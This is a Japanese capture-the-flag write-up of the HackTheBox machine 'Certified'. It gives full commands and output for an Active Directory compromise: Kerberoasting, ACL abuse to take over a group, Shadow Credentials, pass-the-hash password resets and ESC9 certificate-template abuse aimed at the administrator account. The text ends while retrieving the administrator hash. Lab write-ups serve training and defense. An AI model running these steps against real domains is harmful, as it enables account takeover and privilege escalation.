概要
HackTheBoxのリタイアマシンCertifiedのWriteupです。
難易度 : Medium
OS : Windows
OSがWindowsでさらに名前からしてADCSを悪用するタイプのActive Directoryマシンだと思われます。
初期情報
マシンを起動するとバナーが表示され認証情報を渡されました。いままで最初から認証情報を渡されるタイプのマシンはやったことがなかったので少しびっくりしました。
この認証情報を使用して進めていきます。
judith.mader:judith09
Enumration
Nmap
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ nmap -sV -p- --min-rate 10000 10.10.11.41 -oN Nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 20:36 JST
Nmap scan report for certified.htb (10.10.11.41)
Host is up (0.20s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-14 11:36:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49683/tcp open msrpc Microsoft Windows RPC
49718/tcp open msrpc Microsoft Windows RPC
49740/tcp open msrpc Microsoft Windows RPC
49795/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.19 seconds
やはりActive Directoryマシンでしたが、webサーバーは動いていないみたいです。 スキャン結果からドメインを見つけたので /etc/hosts に追加しておきます。
10.10.11.41 certified.htb
ドメイン情報
digコマンドでドメイン情報を取得します。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ dig any certified.htb @10.10.11.41
; <<>> DiG 9.20.4-4-Debian <<>> any certified.htb @10.10.11.41
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18660
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;certified.htb. IN ANY
;; ANSWER SECTION:
certified.htb. 600 IN A 10.10.11.41
certified.htb. 3600 IN NS dc01.certified.htb.
certified.htb. 3600 IN SOA dc01.certified.htb. hostmaster.certified.htb. 165 900 600 86400 3600
;; ADDITIONAL SECTION:
dc01.certified.htb. 3600 IN A 10.10.11.41
;; Query time: 351 msec
;; SERVER: 10.10.11.41#53(10.10.11.41) (TCP)
;; WHEN: Fri Mar 14 20:42:54 JST 2025
;; MSG SIZE rcvd: 140
ネームサーバーdc01.certified.htbが分かったのでhostsファイルに追加しておきます。
SMB
netexecでドメインユーザーの列挙を行います。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ netexec smb certified.htb -u "judith.mader" -p "judith09" --users
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.10.11.41 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.11.41 445 DC01 Administrator 2024-05-13 14:53:16 0 Built-in account for administering the computer/domain
SMB 10.10.11.41 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.10.11.41 445 DC01 krbtgt 2024-05-13 15:02:51 0 Key Distribution Center Service Account
SMB 10.10.11.41 445 DC01 judith.mader 2024-05-14 19:22:11 0
SMB 10.10.11.41 445 DC01 management_svc 2024-05-13 15:30:51 0
SMB 10.10.11.41 445 DC01 ca_operator 2024-05-13 15:32:03 0
SMB 10.10.11.41 445 DC01 alexander.huges 2024-05-14 16:39:08 0
SMB 10.10.11.41 445 DC01 harry.wilson 2024-05-14 16:39:37 0
SMB 10.10.11.41 445 DC01 gregory.cameron 2024-05-14 16:40:05 0
SMB 10.10.11.41 445 DC01 [*] Enumerated 9 local users: CERTIFIED
つづいて共有フォルダを見てみます
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ netexec smb certified.htb -u "judith.mader" -p "judith09" --shares
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
SMB 10.10.11.41 445 DC01 [*] Enumerated shares
SMB 10.10.11.41 445 DC01 Share Permissions Remark
SMB 10.10.11.41 445 DC01 ----- ----------- ------
SMB 10.10.11.41 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.41 445 DC01 C$ Default share
SMB 10.10.11.41 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.41 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.41 445 DC01 SYSVOL READ Logon server share
SYSVOL, NETLOGON にアクセスできます。しかしsmbclientで覗いてみましたがとくに使えそうなものはありませんでした。
kerberoasting
judith.maderでkerberoastingを実行し、ドメインユーザーのパスワードハッシュを取得できないか試します。
その前にターゲットマシンと時間を同期しないとケルベロス認証に失敗してしまうので、以下のコマンドで時間を同期します。
sudo ntpdate -u 10.10.11.41
vmを使っている場合は、ホストと時刻を同期する機能が動いている場合があるので先にその機能を無効にしてあげる必要があります。
timedatectl set-ntp off
時刻の設定が出来たら攻撃を実行します。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ impacket-GetUserSPNs certified.htb/judith.mader:judith09 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
--------------------------------- -------------- ------------------------------------------ -------------------------- --------- ----------
certified.htb/management_svc.DC01 management_svc CN=Management,CN=Users,DC=certified,DC=htb 2024-05-14 00:30:51.476756 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$f72fbfd394fbefe69a1592581adcb232$bc454398056835b1fc13b134a2abe2c865ae4cd5267365ca140d4f854838601ea53d3927bdb8530c134faff25fc84c57b729d77c6a77b0667b338e5587f157b27badf49a1966cfb4486312bbe51326b6b1a0a51b0f5a1c15d60d24b29ea42c5e6bdc562498d52d03ffbdb6a4663a45bbc1f0dbf24736136fd92644e6049b0929ba9556e4319666028eab92e62fffb5f6a566f6460050444f3a078bf6d8e78ea14242e9e1d95f333708103fdcbe862f796b9527aa5329aa942c63dcfe9be928b077ff3b3c9a562333a5bf4d313baa7b8026cce8e5ac03dfce90e0d4603620b029c76f3ebf477f4db7cf2ef67555655e32f7781a1fa755d9768a99ab6c53e5f1a13ded8d1d6e2f4223c19e1ab50a41c515f45ae5a608cdcfe11ade8c381a899b1b9bb8329861fd8112a262258b404c73711927ef064a699736f0e516bb87cfe705f41739cd584b36d22a1345372bb7c8a9efde9951c4064541ab4edd30dfdb8a1c7311730f7941d2dcb491cdfb13a46b10cff006ce29162c7594e010188a39c34e07d78f0a163e1aeb43b069fdf91a94d069ab1ba995a9611a544676419ee90cf5923b66ab39613ca824a1d44f5e3b5165293a0b678d40e8c668f5781269c7a5c32bd17fd7cf5a6da94c0554211aa75165d9d44cc24bfc08764b0f4e3ff043c8a8f7fe89df19dc12e706ffa629a06c312360dc311a4b301299c26ff97904a79751adff6dbb2f596014d3d2c292ae6829807274c7fe8feb7273d4a2b8c9192464d33cd7b7114087b6e3215e3946f967fd22e481c8d5d8b55d97055630ddcb19869f4127765390f3ce44fca38a619401fb50d36deb92d8855601bed404f6d0870a0755c9d4516e0b4569f6dd0efd8256785f46a64752bf13ec2ada036086ed117e62d7b34c2dea6fbba9e195d14203ed7f8df65406765c01cb77fa8350d490add89dcedfbbcb45b59b597ccdf1f6eed2a20e775a72a4c8612572ffbf52ea12c3216e3d1e5e833f037679c1429c559107ea855da89658d83180f1b664fe9fb00589e14702822a3a87e2f1dd85f9259f8af4becbce73059cb2b2c2495cc117b5417fc26ebb804f95f0f59fe61057d77e5a2120560456eb24bcae5aec580c3d9870277d5677daad1d50ec9b259d104ffbda005ec830e065ed919fe3b750871027764c10ecfc09ed17fc6fb12cc068521ef526788a4dd8b793b3323cad53bd5b92fcf53f5f9eb33ede3aaddb88e9210927a19c10b49f54e409447bce9616b8c7ff9080d685235909550b379a6d6237af0ec60a5fb5c92407205e38250c2519aaaa896e800abbec016caf3df74b66a5726deebe52c482d5c9c827d367c9d30b096b3846d358ed32464da0636600d44902c0f23f08887142224a17edcb6affb6eabe800dd0041abaa2b51ec51509d7b9b783d09dc1be55f34f33deb907349a3c9a8f4b32fef2bbab1ae9ab5349db54ee981dd8659b49785dc89bc38e4e323d5d43b4ebd2592536db9d3787333af6be2b8a0514902f8decff4a82436fe029d4a7bfc53215b615014640f87e30b8778e73f230981ccb1fa755e0705268bab2bd
netexecでもできます。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ netexec ldap certified.htb -u "judith.mader" -p "judith09" --kerberoasting hash.txt
LDAP 10.10.11.41 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
LDAP 10.10.11.41 389 DC01 [+] certified.htb\judith.mader:judith09
LDAP 10.10.11.41 389 DC01 Bypassing disabled account krbtgt
LDAP 10.10.11.41 389 DC01 [*] Total of records returned 1
LDAP 10.10.11.41 389 DC01 sAMAccountName: management_svc memberOf: CN=Management,CN=Users,DC=certified,DC=htb pwdLastSet: 2024-05-14 00:30:51.476756 lastLogon:<never>
LDAP 10.10.11.41 389 DC01 $krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$816c9c52c10fdb4aebac0673dd11146e$bd57109e1c17f4c2c5ac02d85423b3f77bf33a259a888766c598a358ae38975d8ed72186f0ce11b575d9dea4273a7dd51926580211c0895e6d9ac9d0157aa804e441cc795f238a060361cd906bfd8f86c4e71ec856278b16aded24e9ed5fc5e55beb1ffe56b2be4fb1adea6c05b2298a82805133e4e0c1c93f8a1095eb5cc5943d126f30030217d8d09bf47cad2e0c5e4b14bd33ac7d1f5e8c6c9a0a321d7a862c83599c44ca3fe8344d11ffd37e6b0a4d4bfb7393bda7b54ce55cd659861bfba5772c11a167ac5eba962a0b9d17aeaf7eb5d04783a9104b4cf90da3c74341ac991f3451d5b248bf1b2bdeabd6c76df896bdf7508f6c41b0fff36ee68553868d94dd48f346d37301fbe5c9ebe0d152292cdd9aa3d5eee3b8c09901861e0ae33c136ce5a6e7cf977c39fc4d6eb2328524a94dd2c4875aaa8944c558b8bfefca6b3e7443f86b2e1df9754a4d95797bafd7851b8a2b2b7595535f59a1dba48abb35403d37e9188f22526bc5048ae2644aa291a452060e2bc62d16e6f7499c2ae658f484796dca0d0a28bd9182542039454ff039b683d87110de1d78e3cab424f0a01fe1ca0e01fedef1f5ae944d000657a0463da69790240b28d0224242eb0cd8cae4bccea3aeb0f59c991b1f41e7fd70cd86b5b294f6dbd981ceaa351ab1955e14a343d94ac55326118dfa758599cc3e4854a3f118c2be7fa36ea4ae0f7d5dcce1187db89399c8fd68e80e36da3f2b4189e9005d10ff5e999b40a828edcf4c4cd9d53760e44672531db153754dd0d2e4c440c2059fed409bc31bc35061215e613beef45328ad0c985e9614c5d55d44fdd8ba32469413e1977bb436c0ff22411a144251ab74a460e0653db51aaf6dcae6602c8eebbb72d9c6036b437a7979e1820faf3e55c42ac1190ea69b2df08d797d6847de7b0d16b3148f4b4e1be9642d81667f6512d2ea41eda0364f2b53de8c5a3c1c2766e69c08b36b9b051bf60941f1a78ec94b2d1aba47fcab2d22c7592574962b00ebf3a8b8d101bf8dae851fe717442146f7735d30bf6e42517cd12fe204fe37748fc756db777d149f9aec9ae3689d3f74cb3465dc259749750b6246e946f38eedbe150e12cd7b99de483dfe488987f7eab4cf7119e4570a03d841ade22da7d0640330ee0d9c2faf8cb32ccec221fac5ec23a4601e761731708d5d943b7200c73876235e7a24aa98a475aa2e282db4d8dd906fb6be2803a6c0dbde018e3a540e2a3b50cf64235fc3d597dce488883363ccf08742a64f5aa2d5caab324029cd0a2dd65e343bf3612ba14bccbca956a522427eee71561380fd63c900a98433fa5bc0156de388d631edd80c5f73e720a98720818fb963ea74066a19ac7f102ee87683747fadcf02b4d2b9fd80ce053bc3737aaec87557d4e4a4b94d6455765b6ad4d296280ae8334e2ea921b3eaafc8890b2b4bfb99e4283c23b150d71605215e83ce47b6e46a3264a3d5a2761d4d2aed0e2d233b0f48c82eb3d7f38f698324c8c1ee04991344364731481ac3e829ab909c1ebfc0d3176c0df71f56b5ae6eefa45408d2fecd9a6a539e02
management_svc のハッシュ値を取得できました。しかし、hashcatで解析してみましたが、解析はできませんでした。
BloodHound
つづいてBloodHoundで列挙していきます。
bloodhound-pythonで情報を集めます。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ bloodhound-python -d certified.htb -u "judith.mader" -p "judith09" -dc dc01.certified.htb -ns 10.10.11.41 --zip -c All
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 46S
INFO: Compressing output into 20250314211238_bloodhound.zip
netexecでもできます。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ netexec ldap certified.htb -u "judith.mader" -p "judith09" --bloodhound --collection All --dns-server 10.10.11.41
LDAP 10.10.11.41 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
LDAP 10.10.11.41 389 DC01 [+] certified.htb\judith.mader:judith09
LDAP 10.10.11.41 389 DC01 Resolved collection methods: dcom, group, psremote, trusts, container, acl, rdp, session, localadmin, objectprops
LDAP 10.10.11.41 389 DC01 Done in 00M 44S
LDAP 10.10.11.41 389 DC01 Compressing output into /home/kali/.nxc/logs/DC01_10.10.11.41_2025-03-14_211422_bloodhound.zip
BloodHoundを起動してzipファイルをアップロードします。
現在制御できるのは judith.mader のみなのでこいつの持っている権限を見てみます。
judith.mader は Management というグループオブジェクトに対して WriteOwner の権限を持っています。
そして、Management グループは management_svc に対して GenericWrite の権限を持っています。
management_svc は ca_operator に対してGenericAll の権限を持っています
次に ca_operator ですがオブジェクトに対して持っている権限は何もありませんでした。名前に CAとついているので、こいつからADCSを悪用することでAdministratorに昇格するものと思われます。
攻撃シナリオ
得られた情報をまとめると、予想されるシナリオは以下のようになると思われます。
- judith.maderのWriteOwner権限を悪用してにMnagementの所有権を自分自身に与える
- 所有権を取得できたので、自分自身に AddMember 権限を与える
- judith.maderをManagementのグループメンバーに追加
- GenericWrite権限を悪用し、management_svcからNTLMハッシュを取得する
- ca_operatorのパスワードを変更し、ca_operatorを乗っ取る
ca_operatorからは情報がまだありませんがとりあえず ca_operatorの侵害 を目指します。
水平展開
WriteOwnerの悪用
impacket-owneredit を使用することで自分自身に所有権を与えることができます。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ impacket-owneredit -action write -new-owner "judith.mader" -target "Management" certified.htb/judith.mader:judith09
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!
所有権を与えることに成功しました。 続いて judith.maderをManagement グループに追加 します。
その前にグループにメンバーを追加できるように権限を与えます。 これには impacket-dacledit を使用します。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ impacket-dacledit -action "write" -rights "FullControl" -principal "judith.mader" -target "Management" certified.htb/judith.mader:judith09
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20250314-213308.bak
[*] DACL modified successfully!
現在の Management のメンバー一覧を出力する
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ net rpc group members "Management" -U certified.htb/"judith.mader"%"judith09" -S 10.10.11.41
CERTIFIED\management_svc
judith.maderをメンバーに追加
net rpc group addmem "Management" "judith.mader" -U certified.htb/"judith.mader"%"judith09" -S 10.10.11.41
追加されたか確認
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ net rpc group members "Management" -U certified.htb/"judith.mader"%"judith09" -S 10.10.11.41
CERTIFIED\judith.mader
CERTIFIED\management_svc
他のツールを使用する
他にも bloodyAD というツールがあるのですが、これもなかなか便利でよく使っています。以下は bloodyADで一連の操作を行うものです。
所有権を自分自身に与える
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ bloodyAD --host 10.10.11.41 -d "certified.htb" -u "judith.mader" -p "judith09" set owner "Management" "judith.mader"
[+] Old owner S-1-5-21-729746778-2675978091-3820388244-512 is now replaced by judith.mader on Management
メンバーを追加できる権限を与える
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ bloodyAD --host 10.10.11.41 -d "certified.htb" -u "judith.mader" -p "judith09" add genericAll "Management" "judith.mader"
[+] judith.mader has now GenericAll on Management
メンバーに追加
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ bloodyAD --host 10.10.11.41 -d "certified.htb" -u "judith.mader" -p "judith09" add groupMember "Management" "judith.mader"
[+] judith.mader added to Management
Shadow Credentials
Shadow Credentials とは攻撃者が Active Directoryアカウントに挿入して、変更されたアカウントへのアクセスを取得または維持する資格情報です。これらは、ターゲットユーザーまたはコンピューターの msDS-KeyCredentialLink 属性に不正な証明書またはキーを追加することに関連しています。これにより、パスワードがリセットされた場合でも、そのユーザーとして認証できます。
msDS-KeyCredentialLink 属性とはパスワードなしの認証のための生の暗号データを保存して、ユーザーまたはコンピュータオブジェクトにリンクする Active Directory 属性です。
Shadow Credentialsを悪用するには pywhisker を使用します。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ pywhisker -d "certified.htb" -u "judith.mader" -p 'judith09' --target "management_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: b4cae790-0107-4fb1-8c50-8e4f716cb253
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: lNR55Oli.pfx
[*] Must be used with password: N5bhtamnAnLKczV3nIsv
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Pass the Certificate
これらを使用して management_svc のTGTを要求します(Pass-The-Certificate攻撃)。 PKINITtools の gettgtpkinit.py を使用します。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ gettgtpkinit -cert-pfx lNR55Oli.pfx -pfx-pass N5bhtamnAnLKczV3nIsv certified.htb/management_svc management_svc.ccache
gettgtpkinit -cert-pfx lNR55Oli.pfx -pfx-pass N5bhtamnAnLKczV3nIsv certified.htb/management_svc management_svc.ccache
2024-11-05 00:03:34,021 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-11-05 00:03:34,037 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2024-11-05 00:03:57,992 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-11-05 00:03:57,992 minikerberos INFO d123466485575ea98cee19cbb59bcc915c798d403f6bf63c17df919d9f559723
INFO:minikerberos:d123466485575ea98cee19cbb59bcc915c798d403f6bf63c17df919d9f559723
2024-11-05 00:03:57,999 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
取得したTGTをエクスポートします。
export KRB5CCNAME=management_svc.ccache
エクスポートしたTGTは klist というコマンドで確認できます。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ klist
Ticket cache: FILE:management_svc.ccache
Default principal: management_svc@CERTIFIED.HTB
Valid starting Expires Service principal
2025-03-14T00:22:13 2025-03-14T10:22:13 krbtgt/CERTIFIED.HTB@CERTIFIED.HTB
UnPAC the hash
TGT が取得され、AS-REP encryption key が抽出されると、同じくPKINITtools の getnthash.pyを使用して NTLMハッシュを復元できます(UnPAC-The-Hash攻撃)。 AS-REP encryption keyは gettgtpkinit.pyで発行されます。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ getnthash -key d123466485575ea98cee19cbb59bcc915c798d403f6bf63c17df919d9f559723 certified.htb/management_svc
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584
Certipyを使ったShadow Credentials攻撃
Certipyを使うとこの一連の作業を自動でしてくれます。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ certipy-ad shadow auto -u judith.mader@certified.htb -p judith09 -account management_svc
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'a6d42778-3e84-7a7c-c67d-a66eb2e67b66'
[*] Adding Key Credential with device ID 'a6d42778-3e84-7a7c-c67d-a66eb2e67b66' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID 'a6d42778-3e84-7a7c-c67d-a66eb2e67b66' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584
こっちのほうが楽です。
GenericAllの悪用
management_svcのNTLMハッシュを取得したのでmanagement_svcとしてca_operatorのパスワードを変更します。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ pth-net rpc password "ca_operator" -U "certified.htb"/"management_svc"%"ffffffffffffffffffffffffffffffff":"a091c1832bcdd4677c28b5a6a1295584" -S 10.10.11.41
Enter new password for ca_operator:
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
プロンプトが起動するので新しいパスワード Password123 を入力します。
bloodyADを使う場合
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ bloodyAD --host 10.10.11.41 -d certified.htb -u "management_svc" -p :a091c1832bcdd4677c28b5a6a1295584 set password "ca_operator" "Password123"
[+] Password changed successfully!
変更したパスワードが機能するか確認します。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ netexec smb 10.10.11.41 -u "ca_operator" -p "Password123"
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\ca_operator:Password123
特権昇格(Privilege Escalation)
無事 ca_operator に水平展開できたので次は Administratorを目指します。 ADCSに脆弱なテンプレートがないか列挙を行います。
┌──(kali㉿kali)-[~/HTB/machine/Windows/Certified]
└─$ certipy-ad find -dc-ip 10.10.11.41 -u ca_operator@certified.htb -p "Password123" -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'certified-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
Certificate Validity Start : 2024-05-13 15:33:41+00:00
Certificate Validity End : 2124-05-13 15:43:41+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CERTIFIED.HTB\Administrators
Access Rights
ManageCertificates : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
ManageCa : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Enroll : CERTIFIED.HTB\Authenticated Users
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
Enrollment Flag : NoSecurityExtension
AutoEnrollment
PublishToDs
Private Key Flag : 16842752
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Property Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension
CertifiedAuthentication というテンプレートに ESC9 が検出されました。
ESC9 (No Security Extension)
ESC9 (No Security Extension)は、CT_FLAG_NO_SECURITY_EXTENSION フラグが設定された脆弱な証明書テンプレートを悪用する攻撃です。このフラグは、証明書に szOID_NTDS_CA_SECURITY_EXT セキュリティ拡張機能が埋め込まれるのを防ぎます。ユーザー アカウントに対する GenericWrite 権限を持つユーザーは、userPrincipalName を変更して、管理者などのターゲットアカウントになりすまし、脆弱なテンプレートから証明書を要求することができます。発行された証明書は、ターゲットアカウントとして認証するために使用できます。
今回の例では management_svc が ca_operator に対して GenericAll 権限をもっています。ca_operatorは脆弱なテンプレート CertifiedAuthentication の msPKI-Enrollment-Flag に CT_FLAG_NO_SECURITY_EXTENSION を登録することができます。
この攻撃には Certipy を使用します。
まずは ca_operator の userPrincipalName を administrator に変更します。
┌──(kali㉿kali)-[~]
└─$ certipy-ad account update -u management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn administrator
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : administrator
[*] Successfully updated 'ca_operator'
userPrincipalName を変更すると次は、ca_operator として脆弱な証明書を要求します。
┌──(kali㉿kali)-[~]
└─$ certipy-ad req -u ca_operator@certified.htb -p "Password123" -ca "certified-DC01-CA" -template CertifiedAuthentication
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
実行に成功すると administrator.pfx という名前の証明書が作成されます。 そして必ずca_operator の userPrincipalName を別のものに変更しておきます。
┌──(kali㉿kali)-[~]
└─$ certipy-ad account update -u management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'
取得した証明書で認証を行い、成功するとadministrator の NTLM ハッシュを取得することができます。
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx administrator.pfx -domain certified.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
